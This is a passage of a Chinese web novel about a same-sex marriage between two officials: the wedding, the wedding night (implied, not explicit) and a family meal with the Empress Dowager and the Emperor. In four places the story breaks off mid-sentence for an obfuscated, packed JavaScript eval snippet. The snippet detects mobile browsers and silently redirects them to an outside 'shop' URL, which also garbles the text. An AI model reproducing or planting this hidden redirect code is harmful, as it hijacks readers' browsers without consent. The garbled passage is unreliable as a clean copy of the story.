燕修延用肩膀顶了顶身旁的谢伟恒,压着嗓子道:“我可以确定这是我亲干娘,你确定这真的是你亲爹?” “确定。” 谢伟恒偏头,温热的气息拂过燕修延的耳廓,“父亲的和善只是对你。” 燕修延将信将疑。 先前谢父明明看不惯他的跳脱性子,怎么突然就转了性? 难道说…… 他的视线不自觉地扫过谢伟恒的下三路,脑海中突然蹦出一个荒诞的念头。 难道谢伟恒其实不能人道,所以至今未婚? 谢父对他态度好,是因为谢伟恒终于成亲了,谢家有后有望了? 想到这里,燕修延拍了拍谢伟恒的肩膀,语气里满是“同情”:“别放弃,我会找人帮你医治好的。” 当然,看在那块羊脂玉和可能的后续好处的份上。 饶是谢伟恒自认对燕修延的脑回路了如指掌,此刻也猜不透他心里在想些什么,只能无奈地摇了摇头。 两家人围坐在一起,其乐融融地说着话,从家常里短聊到朝堂轶事。 燕修延和谢伟恒反倒成了配角,被晾在一旁。 燕修延本想问问谢伟恒今天到底是怎么回事,可话到嘴边,却又不知该从何问起,只能看着眼前的和谐景象发愣。 看了半晌,他突然想起方才谢父跟干娘提起婚期时的细节,连忙拽了拽谢伟恒的衣袖:“你爹是怎么知道咱俩四月二十八成亲?” 谢伟恒面不改色,语气平静得仿佛在说一件平常事:“钦天监说是良辰吉日时我便觉得不对劲,想来是早就定好的。定是陛下体恤你,特意提前通知他的。” 燕修延一拍大腿,恍然大悟:“我就觉得怪怪的,原来如此。” 陛下原来早有预谋! 那可得再问陛下多要点钱,不然岂不是亏了? 皇宫之中,虞睿祥刚换好常服,右眼皮突然毫无征兆地跳了一下,他揉了揉眼皮,心中暗忖:莫不是有人在背后念叨朕? 谢父看了眼窗外的天色,日头已经偏西,便起身道:“时辰差不多了。” 燕修延嗑完最后一粒瓜子,将瓜子皮丢进一旁的碟子里,拍拍手站起身,嘴里还嘟囔着: “估计陛下也快到了。” 话音刚落,门外便传来了通报声,说陛下驾到。 虞睿祥刚踏入谢府,燕修延就像只灵活的小狐狸,一溜烟凑到他身边,搓着手指,压低嗓音道:“陛下,你有没有什么想跟我说的?你得给我这个数,不然我可就要闹了。” 他比了个五的手势,眼神里满是狡黠。 虞睿祥一头雾水,抬眼看向站在一旁的谢伟恒。谢伟恒微微颔首,示意他答应。 古往今来,哪个臣子敢让皇帝背黑锅的怕是仅他一人了。 虞睿祥无奈地叹了口气:“行,明日朕便让人送到你府上。” 五两而已——至于这个五是多少,他是皇帝,自然是他说了算。 燕修延得了满意的答复,高高兴兴地拉着谢伟恒去拜堂。 来的宾客见状,都惊得窃窃私语,目光齐刷刷地投向正中央的座位。 那里坐着的竟是谢伟恒的父母。 谢父面色平静,看不出情绪,谢母脸上却挂着温和的笑意,不见半点不满。 “谢侍郎的父母怎么来了?” “你说谢父是怎么个态度?莫不是终于松口了?” “什么态度都不重要,事已至此他无可奈何,与其反对倒不如面子上假装接受。” “管他呢,咱们就当个乐子看,可惜啊燕大人没盖上红盖头,不然倒更有看头了。” 虞睿祥高声唱喏:“夫夫对拜——” 燕修延低头的时候没太注意,额头结结实实地跟谢伟恒撞了个正着。 他捂着额头,龇牙咧嘴地抱怨:“谢大人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646184|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的头怎么那么硬。” 虞睿祥在一旁看得发笑,打趣道:“礼成,你唤他一声夫君。” 燕修延私底下逗弄谢伟恒时,唤个几声“夫君”倒是没什么问题。 可在这种众目睽睽的场合,让他开口,简直比杀了他还难。 他可以当场躺下打滚,撒泼耍赖,但就是不能叫这一声“夫君”。 礼部尚书见状,带头起哄:“叫夫君,别扭扭捏捏的像个大姑娘!” 大理寺少卿紧随其后,跟着煽风点火:“燕大人,你别怂啊!” 监察司的人藏在别人后面,捏着嗓子起哄:“叫夫君、叫夫君!” 燕修延嘴角一抽,这群人当他耳背吗? 就算捏着嗓子,他也能听出那是监察司那群家伙的声音。 他直接撸起袖子,露出结实的胳膊,起哄的声音瞬间弱了不少,众人都怕他真的当场撒泼。 男子与男子成婚,礼成后可选择在前面宴客,或是回房间等候。 燕修延几乎是毫不犹豫地选择了回房间看贺礼。 他算是看出来了,礼部尚书和大理寺少卿今天是带着私怨来的,他要是在前面待着,准得被灌得酩酊大醉。 前面就交给谢伟恒了,最好把那几个起哄的家伙都灌得烂醉如泥。 谢伟恒低声对身旁的谢小厮吩咐了几句,不过片刻,就有人端着酒菜送进了新房。 “这谢伟恒挺周到的。” 燕修延嘀咕了一句,也懒得用酒壶,直接端起酒杯对嘴喝了一口。 这酒口感独特,辛辣中带着一丝清甜,入喉顺滑,倒是难得的好酒。 他吃了两口菜垫了垫肚子,便迫不及待地拿起礼单,开始查看众人送来的贺礼。 “嚯!谁这么实诚,直接送了两块金砖?” 他瞪大了眼,往下一看,落款处写着国师的名字。 哦,是那个跟谢伟恒关系不错的老神棍,难怪这么大手笔。 燕修延一口酒两口菜,继续往下看。 “扇子?让我看看是谁送的——” 他拿起那把折扇,打开一看,扇面上写着几行娟秀的小字,落款处的名字让他忍不住笑出了声。 是那个隔三差五就喜欢弹劾他的文官,送把扇子是想让他“扇凉”消气? 还是想暗讽他“煽风点火”?不管怎样,都挺有意思的。 前院之中,礼部尚书喝多了,红着脸,单手握拳用力挥着,嚷嚷着要闹洞房:“闹洞房!今天非得闹一闹不可!” 大理寺少卿也跟着附和,舌头都打了结:“闹他!闹到他们……他们下不了床!” 旁人见状,也跟着起哄,哪成想这二人话音刚落,眼睛一闭,直接趴在桌子上不动弹了。 凑近一听,呼声震天,竟是直接醉倒了。 宾客们渐渐散去,谢伟恒送走最后一位客人,才带着一身酒气回到房中。 27. 谁给你的胆子? 推开房门时,谢伟恒险些忘了呼吸。 房中炭盆早被撤了,窗扇却半掩着,滞闷的热气裹着淡淡的檀香扑面而来。 燕修延歪坐在梨花木椅上,婚袍的衣襟被他扯开大半,露出颈侧细腻的肌肤,那肌肤泛着一层薄红,像是被暑气蒸透了。 他手中攥着一柄折扇,骨节分明的手指用力扇动,扇面破风的声响里,几缕墨色发丝粘在微微出汗的脸颊上,眉峰紧蹙,眼底满是不耐的烦躁。 “今天怎么这么热?” 他抬眼瞥见门口的人,语气带着几分漫不经心的抱怨,“谢大人来的正好,让人打些凉水来,再搬些冰鉴进来。” “凉水无用,冰鉴也解不了。” 谢伟恒反手关上门,门闩落锁的轻响在房中格外清晰。 他抬手褪去外袍,只留一件月白中衣,缓步走到燕修延面前,“我来帮你。” 燕修延仍在用力扇着风,闻言动作一顿,抬眼睨他:“你怎么帮?总不能替我受热吧?” 谢伟恒没有答话,指尖轻轻拂过燕修延汗湿的脸颊,将那缕粘在皮肤上的发丝拨开。 指腹顺势滑到他的颈侧,贴着脉络轻轻摩挲,冰凉的触感让燕修延瞬间一颤,喉结不自觉地滚动了一下。 谢伟恒能清晰地感受到手下肌肤下血液的躁动,像是困在樊笼里的兽,正急切地寻找出口。 “燕修延……” 他低声唤着,声音带着几分沙哑。 “你的手倒是挺凉的。” 燕修延下意识地握住谢伟恒的手腕,冰凉的触感顺着指尖蔓延到四肢百骸,让他紧蹙的眉头稍稍舒展。 他低头看着两人交握的手,随口问道:“谢大人,你是不是体寒?怎么这天气手还这么凉?” “是与不是,你可自行体会。” 谢伟恒勾起唇角,目光落在桌案上的酒壶上。 他走过去拎起酒壶,倒了两杯琥珀色的酒液,将其中一杯递到燕修延手中,“该喝合卺酒了。” “没必要吧?” 燕修延端着杯子,挑眉看他,“我们又不是真的夫妻,不过是演给外人看的戏码。” 他说着便准备一饮而尽,却被谢伟恒拦住。 谢伟恒的手臂穿过燕修延的臂弯,与他交臂而饮。 仰头饮酒时,谢伟恒另一只手轻轻托住燕修延端着酒杯的手,力道不大,却带着不容拒绝的坚定。 酒液入喉,带着青梅的酸甜,却又在腹中燃起一阵热意。 燕修延嘴里嘟囔一句:“你这人真撅,还非得喝啊。” “喝了合卺酒,你我夫夫合二为一,已结永好,同甘共苦、患难与共。” 谢伟恒放下酒杯,眼帘微垂,指腹轻轻托起燕修延的下巴,迫使他抬头看自己。 他的目光专注而炽热,像是要将燕修延整个人都融化在里面,“同甘即可,其它的有我担着。” 燕修延不由得直起后背,心跳骤然加速。 他看着谢伟恒的眼睛,那里面翻涌着他看不懂的情绪,像是藏着一头蓄势待发的凶兽。 “你是不是喝醉了?” “我没醉,醉的是你。” 谢伟恒打断他的话,执起他的手,引着他走到铜镜前。 铜镜光洁如镜,清晰地映出两人的身影。镜中的燕修延面色绯红,眼神迷离,散乱的衣襟下,胸膛的肌理若隐若现,透着一股诱人的风情。 而站在他身后的谢伟恒,明明穿着一身温润的月白中衣,脸上带着惯常的温和笑意,眼中却仿佛禁锢着一只凶兽。 那凶兽正咆哮着,想要冲破围栏,将身前的人拆吃入腹。 燕修延稍稍清醒了些许,他扭头看谢伟恒。 刚想开口说些什么,唇上却突然传来一阵温热的触感。 那触感柔软而炙热,瞬间让燕修延脑中一片空白。 他僵在原地,连呼吸都忘了。 为什么谢伟恒靠的这么近? 为什么他要亲自己?无数个问题在脑海中盘旋,却又被那炙热的触感淹没。 “不是,你……” 燕修延慌乱地张口欲言,却不成想这方便了谢伟恒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646185|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 舌尖趁机探入,与他的唇齿缠绵。 他下意识地后退一步,谢伟恒便上前一步。 两人紧紧贴在一起,胸膛贴着胸膛,能清晰地感受到彼此加速的心跳。 燕修延哪儿见过这种架势,他只觉得浑身燥热,连手脚都不知道该往哪里放。 当谢伟恒退开时,他还愣愣地站在原地,唇瓣红肿,眼神迷茫,像是一只被驯服的小兽。 谢伟恒看着他这副模样,眼中的笑意更浓,却又带着几分不容错辩的认真。 他弯腰,双臂穿过燕修延的膝弯和后背,将他横抱起来。 燕修延惊呼一声,下意识地搂住他的脖子,脸颊贴在他的胸膛上,能清晰地听到他沉稳有力的心跳。 落进被褥中时,燕修延倒吸一口凉气。 被褥早已被暖炉烘得温热,与他燥热的肌肤相贴,带来一阵酥麻的触感。 “卧槽,谢伟恒你玩真的?”他猛地抬头,看着压在自己身上的人,声音带着几分颤抖。 谢伟恒单手撑在燕修延的脑袋旁,另一只手轻轻拂过他汗湿的发丝,目光专注地看着他,像是在欣赏一件稀世珍宝。 “对你,我从来都是认真的。”他的声音低沉而沙哑,带着几分蛊惑的意味。 燕修延甩甩头,试图让自己清醒一些。 他看着谢伟恒近在咫尺的脸,看着他眼中翻涌的情绪,心中的慌乱越来越甚。“几个意思?” “自己想。” 谢伟恒的手缓缓搭在燕修延的腰带上,指腹轻轻摩挲着腰带的结扣。 燕修延心中一紧,下意识地抓住他的手腕,力道大得几乎要捏碎他的骨头。 “喂,谁给你的胆子啊——”他低吼道,眼中却带着几分不易察觉的慌乱。 谢伟恒低头,看着他抓着自己手腕的手,又抬头看着他慌乱的眼神,唇角勾起一抹笑意。 他缓缓俯身,唇瓣轻轻贴在燕修延的耳边,温热的气息拂过他的耳廓,带来一阵酥麻的触感。 “是你。”他低声说道,“是你给我的胆子。” 29. 你要想饿死我就直说! 燕修延只觉得自己此刻脑子清明得过分,那些混沌的酒意散得一干二净,连谢伟恒方才话里的弯弯绕都瞬间想透。 他指尖还带着方才拍桌的余麻,瞪着眼前擦手的人,语气里满是不容置喙的凶狠:“我逗你的时候,你脸红是害羞的,我还以为你是气的!” 谢伟恒擦手的动作一顿,垂眸看他,指腹拭去指尖的水珠,声音温淡:“不饿了?” “你别转移话题!” 燕修延猛地一拍桌子,檀木桌面发出沉闷的响声,他往前探着身子,眼底亮着较真的光,“你就说是不是!” 谢伟恒没再答,只是俯身,双臂稳稳地穿过他的膝弯与后颈,稍一用力便将人横抱起来。 燕修延猝不及防,下意识地伸手抓住了他的衣襟,布料褶皱间还带着淡淡的墨香与阳光的味道。 “不饿了就上床休息会。”谢伟恒的声音就在耳边,沉稳又低磁。 燕修延挣了挣,语气依旧硬邦邦:“你放我下来,我自己会走,而且我不需要休息,我现在能打死一头牛你信不?” 谢伟恒脚步平稳,踩着木质地板发出轻响,丝毫没有被他的话影响。 燕修延心有不甘,猛地想鲤鱼打挺——却只听自己闷哼一声。 腰部传来的酸痛瞬间席卷全身,让他整张脸都皱成了一团,像只被踩了尾巴的猫。 “谢伟恒!你丫就是个畜生!” 燕修延龇牙咧嘴地骂,声音里却带着几分吃痛的颤音。 谢伟恒脚步不停,直到走到床边,才小心翼翼地将他放在厚厚的锦被上。 被褥里还留着阳光的暖意,衬得他腰后的酸痛稍稍缓解。 谢伟恒坐在床边,抬手将他鬓角散落的碎发捋到耳后,指尖不经意擦过温热的耳廓,惹得燕修延瑟缩了一下。 “第一次,控制不住,以后会注意的。” 他的声音放得很柔,带着几分不易察觉的歉意。 “你还想有以后!” 燕修延眉毛瞬间竖了起来,像只炸毛的小兽,“想都别想!以后你谢府的酒我一口都不会再喝!你休想再占我便宜!” 谢伟恒低笑起来,胸腔的震动透过空气传过来,带着几分无奈的宠溺:“你我已成亲,是正经夫夫,何来占便宜一说?” 提到成亲二字,燕修延的火气倏地顿了一下,脑子里像是突然卡了壳,随即一个念头冒了出来。 他撑着身子坐起来,忽略腰间的不适,眼神里带着审视:“从赐婚到成亲,搞的这么着急,别告诉我是你急色!” 谢伟恒看着他,突然反问:“还记得昨日朝食吃了什么?” 燕修延愣了愣,掰着手指头细细回想,眉头渐渐舒展:“太学馒头……还有面,是长寿面?” 他这才后知后觉地想起,昨日貌似是他的生辰,从小到大没怎么过过,竟被自己忘得一干二净。 他翻了个白眼,语气里带着几分无语:“谢大人送的生辰礼真是独特,你怎么不把自己包成贺礼送给我?” 谢伟恒闻言,俯身靠近他,温热的呼吸拂过他的耳畔,声音低沉而沙哑:“因为我很卑鄙啊。” 昨天是燕修延的生辰,但今天,是他的。 燕修延现在对“卑鄙”二字简直过敏。 谢伟恒一句卑鄙,便压了他整整一个晚上,让他连反驳的余地都没有。 他皮笑肉不笑,手指攥得被褥起了褶:“卑鄙是吧,我把你捶进地里去,让你尝尝被土埋的滋味。” 谢伟恒挑眉,眼神里带着几分戏谑:“你试试看。” 燕修延瞬间想起之前在书上看到的话,说站立靠墙,会别有一番滋味。 他猛地打了个寒战,后背的汗毛都竖了起来,谢伟恒那眼神,肯定又在想什么坏招! 他不甘示弱,梗着脖子道:“那我多给你纳几房妾,男女都给你纳上,让你日日都有新人陪——谢伟恒你干嘛!” 话未说完,便被一股力道带倒,谢伟恒已经压在了他的身上。 燕修延想挣,却被他牢牢按住,只能感觉到谢伟恒的手指克制地轻抚着他的颈侧,动作轻柔得不像话。 “修延,”谢伟恒的声音在耳边响起,带着从未有过的郑重,“我这一生只你一人,誓婚书我昨日已经交给太后娘娘。” 燕修延的身子瞬间僵住。 他怎会不知虞朝誓婚书的分量,男子与男子成亲本就常见,可大多为了延续香火,最终还是会选择纳妾,或是和离后各自娶妻生子。 就连男女成亲,也鲜少有人愿意写下这样的誓书。 那是将自己的一辈子都绑在对方身上,一旦违背,便要净身出户,还要挨上二十大鞭。 这对于谢伟恒这样的世家子弟来说,几乎是断了所有退路。 谢伟恒接下来的话,更是让他如遭雷击,震惊得说不出话来:“誓婚书上我写了永不和离、永不休夫。” 这一句话,便将所有的主动权都交到了他的手中。 签下誓婚书的是谢伟恒,受到约束的也是谢伟恒。 若是他日他想和离,谢伟恒无权拒绝,而他也不会受到任何影响。 燕修延的心跳得飞快,像是要撞出胸膛,他下意识地摸摸鼻子,目光不由自主地移开,不敢再看谢伟恒的眼睛。 两人离得太近了,谢伟恒的目光太过炽烈,像是要将他融化,他讷讷的,竟不知该说些什么。 面对一颗这样掏出来摆在自己面前的真心,那些刻薄的、伤人的话,他竟一句也说不出口。 “不必有负担。” 谢伟恒察觉到他的窘迫,直起身坐在床边,替他理了理凌乱的衣襟,指尖划过他锁骨处的红痕,动作温柔,“心悦你的是我,我不会强求你用同样的情意来对我。” 燕修延揉了揉腰,那里的酸痛还在隐隐作祟,他低声道:“那昨晚的事,不能再做了。” 谢伟恒没有立刻应,只是看着他,眼神里带着几分不解:“你我是夫夫,为何不能?” 燕修延瞪他,语气里带着几分理直气壮:“你说的不会强求我用同样的情意对你。” 谢伟恒低笑起来,眉眼间带着几分狡黠的意味:“嗯,可没说我不要你身子。” 燕修延被这话噎得一窒,张了张嘴,半天只憋出一句干巴巴的话:“强扭的瓜不会甜的。” 谢伟恒偏头靠近他,鼻尖几乎要碰到他的,声音低沉而蛊惑:“苦果亦是果,况且昨夜,你紧紧攀着我时,也愉悦的很。” 燕修延震惊地瞪大眼睛,脸上瞬间烧得滚烫。 以后谁再说谢伟恒是谦谦君子,他第一个跳出来骂! 这人根本就是没流氓硬耍! 那些登徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幸好成官能休几日假,否则他走路左摇右晃的样子出去了,肯定会被人笑话。 尤其是监察司的那群兔崽子! 指不定会笑成什么样,大门牙都能给他们笑蹦了。 谢伟恒的一句话,瞬间让燕修延转过头来,眼里带着几分期待:“这两日吃的清淡些,你可有什么想吃的?” “你要不要听听自己说的是人话?” 燕修延不可思议地看着他,声音陡然拔高,“我都一晚上没睡了,你还要我吃清淡的!你要想饿死我就直说,还是想把我饿的没力气,好让你为所欲为?” 谢伟恒单手握拳抵在唇上,轻咳一声,语气里满是压抑的笑意:“你吃辛辣的,只怕……会更不舒服。” “你不让我吃,我才会更不舒——” 燕修延话未说完,便想撑着胳膊坐起来,可腰后的酸痛瞬间传来,让他的动作戛然而止,失败未遂。 连带的,另一处也传来清晰的异样感。 他好像知道为什么会不舒服了。 燕修延生无可恋地趴回床上,声音里带着几分悲愤,再次痛斥谢伟恒:“你就是个畜生!” 30. 陛下被踩 燕修延躺了不过半盏茶的功夫,倦意便如潮水般漫过四肢百骸。 昨夜的折腾耗光了他所有力气,此刻脑袋一沾枕头,呼吸便渐渐沉了下去,长睫垂落,在眼下投出一小片浅浅的阴影。 谢伟恒坐在床边,目光却时不时从书页上移开,落在燕修延睡得安稳的侧脸上。 阳光透过菱花窗,筛下细碎的金芒,拂过燕修延微蹙的眉峰,谢伟恒下意识地抬手,想替他抚平,指尖悬在半空中,又轻轻收了回来。 书页翻动的沙沙声,混着窗外偶尔传来的鸟鸣,在屋里织就一片静谧,一上午的时光,便在这无声的陪伴里悄然滑过。 中午,谢小厮轻叩木门的声音,带着几分小心翼翼:“少爷,晌午饭做好了,是在屋里吃还是去前厅吃?” 燕修延的眼睫颤了颤,缓缓睁开一条缝。 混沌的意识里,还残留着睡梦的余温,他愣了愣,才反应过来小厮的话。 这么快就中午了? 谢伟恒合上书页,转头看向他,声音温和:“在屋里吃么?” 燕修延往被子里缩了缩,抬手在脸上胡乱挠了挠,发丝被揉得凌乱,语气带着刚睡醒的慵懒:“无所谓……去前厅吃,凳子上不许加垫子。” 他心里门儿清,若是成亲第二日便整日窝在新房里用饭,传出去指不定被人说成什么样子,说他燕修延恃宠而骄、刚进门就摆架子都是轻的,他可不想给谢伟恒惹来闲话。 谢伟恒早已将他的常服取来,放在床尾。 他走到床边,俯身替燕修延解开被子,动作轻柔地帮他套上中衣。 燕修延坐在镜前的妆凳上,看着铜镜里谢伟恒站在自己身后,拿起玉梳替他梳理长发。 乌发如瀑,从谢伟恒骨节分明的指间滑过,他的动作很轻,生怕扯疼了燕修延。 燕修延看着镜中两人交叠的身影,嘴角勾起一抹揶揄的笑:“谢大人倒是挺会伺候人的。” 谢伟恒放下玉梳,弯腰凑近他,温热的气息拂过燕修延的耳畔,他低头看着镜中燕修延泛红的耳尖,笑道:“燕大人觉得好,便好。” 燕修延偏头往旁边躲了躲,避开那过于亲近的距离,语气有些不自在:“弄好吃饭去,别磨叽。” 两人一前一后走到前厅,刚掀开门帘,燕修延便被满桌的人惊得瞳孔一缩,只觉得眼前一黑。 他怎么把这茬忘了! 他的干娘太后、陛下虞睿祥,还有谢伟恒的父母,都还在府上呢! 都怪谢伟恒,昨夜折腾得他昏头转向,把这么重要的事情都抛到了九霄云外。 他硬着头皮往前走,心里暗自叫苦。 谢家人倒是看破不说破,一个个神色如常,没有半分异样,这倒让他稍微松了口气。 燕修延刚在桌前坐定,还没来得及调整好表情。 就听见他亲爱的陛下毫无眼色地开口:“修延,你走路姿势怎么怪怪的?” 话音刚落,就听“嘶”的一声,虞睿祥捂着被踩的脚,疼得龇牙咧嘴。 太后一个眼风扫过去,带着几分警告,虞睿祥瞬间噤声,把剩下的疑惑咽进了肚子里端坐着,不敢再多说一个字。 太后清了清嗓子,打破了这短暂的尴尬:“来了,那便开饭吧。” 燕修延挠了挠头,脸上带着几分歉意:“让你们久等了。” 不管怎么说,有长辈在,让他们等着自己,总归是失礼的。 他心里暗自感慨,若是女子成亲第二日到中午才露面,遇上苛责的夫家长辈,怕是要被说三道四。 世道艰难,女子活着更难。 谢父率先拿起公筷,就近夹了一块红烧排骨放进燕修延碗里,声音温和:“你到的刚好,吃饭吧,都是一家人,也不必拘着食不言寝不语的规矩。” 谢伟恒动作自然地拿起燕修延的碗,舀了一碗清淡的菌菇汤,摆到他手边,微微俯身,低声道:“尝尝,此汤虽清淡,但味道鲜甜。” 燕修延向来不喜欢吃清淡的食物,可当着这么多长辈的面,他不好驳了谢伟恒的面子,只能端起碗,意思意思地抿了一口。 谁知入口的瞬间,一股鲜美的味道在舌尖炸开,菌菇的清香与高汤的醇厚完美融合,一点也不寡淡。 他眼睛不由一亮,竟是意外的好喝。 几口干下去,碗便见了底。 碗刚空,谢伟恒就拿起公筷,夹了一筷子绿油油的青菜放进他的碗里。 燕修延看着那碗里的青菜叶子,脸色瞬间也跟着绿了几分,他最讨厌吃的就是青菜。 虞睿祥在一旁看热闹不嫌事大,笑着开口:“伟恒啊,修延不爱吃素,小时候母后为了让他多吃一口菜,笤帚丝都抽断了好几根呢。” 谢伟恒却不以为意,耐心解释道:“这青菜是用高汤烫熟的,口感脆嫩,还带着荤香。” 燕修延将信将疑地夹起青菜,眉头皱得能夹死一只蚊子。 再怎么带荤香,那也是青菜,口感能好到哪里去? 他勉强咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646188|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点叶子,放在嘴里慢慢嚼着。 谁知那青菜入口脆嫩,带着一股浓郁的高汤香味,完全没有他想象中的苦涩。 他的眉头渐渐舒展开来。 还行,能吃。 若是没有长辈在场,他定要拍着桌子感叹一句:“有钱人吃的花样就是多哈!” 谢父看着他眉头舒展的模样,会心一笑。 对于燕修延这个孩子,他是打心底里喜欢。 以前在外人面前表现出的不喜欢,不过是装给别人看的。 这孩子有血性,知道自己想要什么,不在乎世人的眼光,只一心做自己认为对的事情。 而且他的心里装的是国与民,从不是为自己谋私利,这样的孩子,值得谢家真心相待。 饭吃到一半,谢父放下筷子,从怀里掏出一枚玉质的腰牌。 那腰牌通体莹润,上面刻着谢家的族徽,一看便知价值不菲。 他将腰牌推到燕修延面前:“边关苦寒,除却边关百姓,还有几万将士驻守。 陛下的新政才刚开始,国库日后定会日渐充盈,到那时你再请旨增加军费,想来也不是难事。 这枚腰牌,你可凭此在任意一家谢家钱庄或粮店支取钱粮。” 谢家教育小辈,向来讲究因材施教,也会在一定程度上尊重小辈的意愿。 善读书者走仕途,善经商者做商人,善技艺者入墨门,喜欢耕地的可去耕种,喜欢下厨的便送去跟大厨学艺。 因此,谢家虽为百年书香门第,子弟却遍布各行各业,家底也颇为丰厚。 燕修延看着那枚腰牌,连连摆手:“父亲,不可。” 谢父却执意要给:“谢家不才,不曾出过厉害的武将,也只能在钱粮上支援你一二。” 燕修延依旧摇头,态度坚决:“上阵杀敌,本就是我的本分,此物太过贵重,实在是收不得。” 虞睿祥在一旁朗声笑道:“修延,谢父也是想为边疆的百姓和战士出一份力,你就莫要再推辞了。” 燕修延无奈,只能拿起腰牌,小心翼翼地收进怀里。 收归收,他心里却打定主意,不到万不得已,绝不动用谢家的一分一毫。 不知不觉间,燕修延竟吃了两碗饭。 这些菜虽然清淡,却胜在爽口,而且每一道菜都带着浓郁的荤香,完全没有清淡菜肴的寡淡。 他刚放下碗筷,正准备开口说些什么。 就听见身旁传来一声响亮的“嗝儿——”。 31. 媚眼含羞合,丹唇逐笑开 虞睿祥拍着圆滚滚的肚皮,眉眼弯成了月牙,声音里满是餍足:“饱了饱了,伟恒家的饭菜,可比御膳房那帮厨子做的强上百倍!” 说着,他抬手就往燕修延肩上拍了一巴掌,力道不小,震得燕修延肩头微沉。 “你可得悠着点吃,不然下回早朝,你这模样怕是要被御史参一本,说燕大人贪嘴肥成了土财主,有失武官体面!” 燕修延嘴角抽了抽,瞥着他那副幸灾乐祸的样子,没好气道:“陛下您可真是我亲如手足的好兄弟!” 虞睿祥立刻收起玩笑,一本正经地挺起胸膛,故意拖长了语调:“那是自然,若不是亲如兄弟,朕昨日岂能纡尊降贵,来送你这‘新嫁娘’?” 这话一出,燕修延当即转头看向坐在主位的太后,语气带着几分撒娇的嗔怪:“干娘,您听听,陛下又拿我寻开心了!等他日陛下成婚,我定要闹到他洞房花烛夜不得安宁!” 太后捂着嘴,眼底的笑意怎么也藏不住,连连点头:“哎,好,干娘准了!到时候干娘还帮你敲边鼓!” 虞睿祥听得一头雾水,挠了挠头:“朕都没闹你的洞房,你要闹朕的?” 刘氏走后,太后待燕修延更是亲如己出,宠溺得没边。 但凡燕修延在她跟前告虞睿祥的状,甭管对错,太后准会拿着鸡毛掸子追着虞睿祥打,丝毫不管他是不是九五之尊。 燕修延拍了拍虞睿祥的胳膊,脸上挂着意味深长的笑,语重心长道:“陛下,您啊,日后可得善自珍重吧。” 虞睿祥一想起母后手持笤帚丝,追着自己满御花园跑的场景,就忍不住缩了缩脖子,脸上满是后怕: “母后啊……” 恰在此时,太后清了清嗓子,慢悠悠开口:“延儿,你觉得呢?” 虞睿祥瞬间换上一副谄媚的笑容,凑到燕修延跟前,语气讨好:“修延啊……咱兄弟俩,有话好说嘛。” 燕修延却故意抬眼望屋顶,低头看地砖,就是不看他那副滑稽的模样,摆明了要晾着他。 片刻后,燕修延拉着太后的手,进了内室。 他从床榻下取出一个精致的木盒,双手捧着递到太后面前:“干娘,您今日回宫时,把这个带上。” 太后打开木盒,先是看到了里面的聘书,待目光往下移,触及那厚厚一叠银票时,眼睛瞬间瞪得溜圆,惊得脱口而出:“你这孩子,莫不是从伟恒那儿偷的吧?” 燕修延立刻挽住太后的胳膊,轻轻晃了晃,语气带着几分委屈:“干娘您怎么能这么想儿臣呢?这可不是偷的,是谢伟恒主动给的。等下儿臣再去把府里那几十万两现银,都换成银票给您带上。” 太后却连连摇头,板起脸:“不可,万万不可!你已经为边疆出了不少钱,不能再这般无止境的付出了。” 两人正说着,谢伟恒推门走了进来,手中还拿着一叠宣纸和一支狼毫笔。 他对着太后微微躬身,温声道:“干娘,无妨。儿臣写封信,您将信与银票一同带回宫去,看了信,您便会理解了。” 只要能说服干娘收下银票,燕修延心甘情愿为谢伟恒磨墨。 他坐在一旁的小凳上,手持墨锭,在砚台中缓缓研磨,目光却不由自主地黏在谢伟恒身上。 只见谢伟恒提笔落墨,字迹行云流水,落笔如云烟,只是那文绉绉的词句,让燕修延看得云里雾里。 好在他连蒙带猜,也大致明白了信中的意思。 待谢伟恒停笔,燕修延指着信的最后两句,皱着眉问:“你这最后两句话,是什么意思?” 虞睿祥早就好奇地凑了过来,伸头看了一眼,随口道:“他说会好好照顾你,让母后不必担心,这有什么不对的?” 燕修延一听,眉毛当即竖了起来,声音也提高了几分:“我看上去,像是需要人照顾的样子吗?” 虞睿祥下意识地摇了摇头:“不像。” 可转念一想,又补了一句,“但今日吃饭时,朕明明看到伟恒给你布菜、盛汤,你吃得那叫一个习惯,连手都没抬一下。” 